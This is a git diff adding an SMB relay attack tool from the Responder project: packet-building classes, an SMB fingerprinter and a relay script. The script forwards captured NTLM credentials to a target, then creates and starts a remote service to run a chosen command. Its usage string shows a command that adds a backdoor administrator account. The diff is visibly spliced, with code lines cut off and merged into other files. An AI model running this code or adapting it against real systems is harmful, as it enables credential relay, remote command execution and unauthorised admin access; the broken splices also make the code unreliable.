diff --git a/FingerprintRelay.py b/FingerprintRelay.py new file mode 100644 index 0000000..c16b9ce --- /dev/null +++ b/FingerprintRelay.py @@ -0,0 +1,132 @@ +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2013 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re,socket,struct +from socket import * +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("wordcount", "\x00"), + ("bcc", "\x62\x00"), + ("data", "") + ]) + + def calculate(self): + self.fields["bcc"] = struct.pack(". +import struct +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) +################################################################################## +#SMB Client Stuff +################################################################################## + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x4e"), + ("uid", "\x00\x08"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack("i", len(''.join(payload))) + return length + +#Set MID SMB Header field. +def midcalc(data): + pack=data[34:36] + return pack + +#Set UID SMB Header field. +def uidcalc(data): + pack=data[32:34] + return pack + +#Set PID SMB Header field. +def pidcalc(data): + pack=data[30:32] + return pack + +#Set TID SMB Header field. +def tidcalc(data): + pack=data[28:30] + return pack + +#SMB Header answer packet. +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("errorcode", "\x00\x00\x00\x00" ), + ("flag1", "\x80"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\xff\xfe"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +#SMB Negotiate Answer packet. +class SMBNegoAns(Packet): + fields = OrderedDict([ + ("Wordcount", "\x11"), + ("Dialect", ""), + ("Securitymode", "\x03"), + ("MaxMpx", "\x32\x00"), + ("MaxVc", "\x01\x00"), + ("Maxbuffsize", "\x04\x11\x00\x00"), + ("Maxrawbuff", "\x00\x00\x01\x00"), + ("Sessionkey", "\x00\x00\x00\x00"), + ("Capabilities", "\xfc\x3e\x01\x00"), + ("Systemtime", "\x32\x19\xee\xd8\x33\xd6\xcd\x01\x6c\xfd"), + ("Keylength", "\x08"), + ("Bcc", "\x10\x00"), + ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"), + ("Domain", "TOOLKIT"), + ("DomainNull", "\x00\x00"), + ("Server", "SMBTOOLKIT"), + ("ServerNull", "\x00\x00"), + ]) + + def calculate(self): + ##Convert first.. + self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') + self.fields["Server"] = self.fields["Server"].encode('utf-16le') + ##Then calculate. + CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) + self.fields["Bcc"] = struct.pack(". +import sys, os, struct,re,socket,random, RelayPackets,optparse,ConfigParser, thread +from FingerprintRelay import RunSmbFinger +from odict import OrderedDict +from socket import * +from RelayPackets import * + +def UserCallBack(op, value, dmy, parser): + args=[] + for arg in parser.rargs: + if arg[0] != "-": + args.append(arg) + if getattr(parser.values, op.dest): + args.extend(getattr(parser.values, op.dest)) + setattr(parser.values, op.dest, args) + +parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -r ", + prog=sys.argv[0], + ) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") + +parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD') + +parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") + +parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials.",metavar="WORKGROUP",dest="Domain") + +parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") + +options, args = parser.parse_args() + +if options.CMD is None: + print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" + parser.print_help() + exit(-1) + +if options.TARGET is None: + print "\n-t mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) + +if options.UserToRelay is None: + print "\n-u mandatory option is missing, please provide a username to relay.\n" + parser.print_help() + exit(-1) + +ResponderPATH = os.path.dirname(__file__) +# Set some vars. +UserToRelay = options.UserToRelay +Domain = options.Domain +Command = options.CMD +Target = options.TARGET +OURIP = options.OURIP + +print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com" +print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' +print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +#Logger +import logging +Logs = logging +Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG) + +#Function used to verify if a previous auth attempt was made. +def ReadData(outfile,Client, User, cmd=None): + try: + with open(ResponderPATH+outfile,"r") as filestr: + if cmd == None: + String = Client+':'+User + if re.search(String.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return True + else: + return False + if cmd != None: + String = Client+","+User+","+cmd + if re.search(String.encode('hex'), filestr.read().encode('hex')): + filestr.close() + print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) + return True + else: + return False + + except: + raise + +#Function used to parse SMB NTLMv1/v2 +def ParseHash(data,Client, Target): + try: + lenght = struct.unpack('=Windows Vista" + Logs.info(CLIENTIP+":"+Username) + ## NtCreateAndx + if data[8:10] == "\x73\x00": + print "[+] Authenticated, trying to PSexec on target !" + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBNTCreateData() + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## Fail Handling. + if data[8:10] == "\xa2\x22": + print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" + ## DCE/RPC Write. + if data[8:10] == "\xa2\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + x = SMBDCEData() + x.calculate() + f = data[42:44] + t = SMBWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00") + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLCreateService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" + print "[+] Creating service" + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[88:108] + ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) + ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) + FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service" + + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service" + ContextHandler = data[88:108] + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + if data[8:10] == "\x2e\x00": + print "[+] Command successful !" + Logs.info('Command successful:') + Logs.info(Target+","+Username+','+CMD) + return True + if data[8:10] != "\x2e\x00": + return False + +def RunInloop(Target,Command,Domain): + try: + while True: + worker = RunRelay(Target,Command,Domain) + except: + raise + + +def main(): + try: + thread.start_new(RunInloop,(Target,Command,Domain)) + except KeyboardInterrupt: + exit() + +if __name__ == '__main__': + try: + main() + except KeyboardInterrupt: + raise + raw_input() +